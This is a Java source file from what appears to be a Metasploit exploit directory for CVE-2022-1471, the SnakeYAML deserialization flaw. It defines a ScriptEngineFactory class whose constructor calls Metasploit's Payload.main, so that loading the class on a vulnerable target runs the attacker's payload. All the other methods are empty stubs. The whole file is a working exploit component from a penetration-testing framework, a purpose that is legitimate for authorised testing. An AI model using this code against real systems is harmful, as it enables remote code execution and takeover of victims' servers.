metasploit-gs/external/source/exploits/CVE-2022-1471/MyScriptEngineFactory.java

// javac -cp path/to/metasploit-payloads/data/java MyScriptEngineFactory.java
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
import metasploit.*;

public class MyScriptEngineFactory implements ScriptEngineFactory {
    public MyScriptEngineFactory() throws Exception {
        Payload.main(null);
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}